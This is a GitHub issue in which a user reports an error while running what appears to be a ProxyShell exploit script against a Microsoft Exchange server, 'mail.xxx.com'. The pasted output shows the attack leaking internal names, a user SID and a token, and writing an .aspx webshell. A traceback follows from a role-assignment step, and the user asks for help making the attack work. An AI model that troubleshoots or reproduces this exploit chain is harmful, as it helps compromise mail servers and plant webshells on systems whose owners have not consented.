scanning icon indicating copy to clipboard operation
scanning copied to clipboard

error on step : write webshell at aspnet_client/file.aspx

Open striker89 opened this issue 3 years ago • 0 comments

Hello; I would like to thank you first guys for sharing. you are doing an amazing job. I am getting the below errors during the script execution:

``python3 proxyshell.py -t mail.xxx.com
fqdn sydexmb05.xxx.local

  • [email protected] legacyDN /o=xxxEXCH/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=06a9e72fb0e645b6bb1c3a0f267e6b82-A BASSOP leak_sid S-1-5-21-1025108317-2912364014-3645357861-4443 token VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBJBLkJBU1NPUEBjYW10ZWwuY21VLlMtMS01LTIxLTEwMjUxMDgzMTctMjkxMjM2NDAxNC0zNjQ1MzU3ODYxLTQ0NDNHAQAAAAcAAAAMUy0xLTUtMzItNTQ0RQAAAAA= set_ews Success with subject edosluwomhgoovgt write webshell at aspnet_client/aztyv.aspx Traceback (most recent call last): File "/home/kali/Downloads/proxyshell/proxyshell.py", line 427, in main() File "/home/kali/Downloads/proxyshell/proxyshell.py", line 395, in main shell(f'New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "{user}"', local_port) File "/home/kali/Downloads/proxyshell/proxyshell.py", line 336, in shell output = ps.invoke() File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 1102, in invoke return self.end_invoke() File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 1078, in end_invoke self.poll_invoke() File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 1252, in poll_invoke responses = self.runspace_pool._receive(self.id, File "/usr/lib/python3/dist-packages/pypsrp/powershell.py", line 640, in _receive response = self.shell.receive("stdout", command_id=command_id, File "/usr/lib/python3/dist-packages/pypsrp/shell.py", line 238, in receive response = self.wsman.receive(self.resource_uri, receive, File "/usr/lib/python3/dist-packages/pypsrp/wsman.py", line 311, in receive res = self.invoke(WSManAction.RECEIVE, resource_uri, resource, File "/usr/lib/python3/dist-packages/pypsrp/wsman.py", line 400, in invoke response_xml = ET.fromstring(response) File "/usr/lib/python3.9/xml/etree/ElementTree.py", line 1348, in XML return parser.close() xml.etree.ElementTree.ParseError: no element found: line 1, column 0 I am a complete nmap noob - please can you help?

striker89 avatar Oct 31 '21 23:10 striker89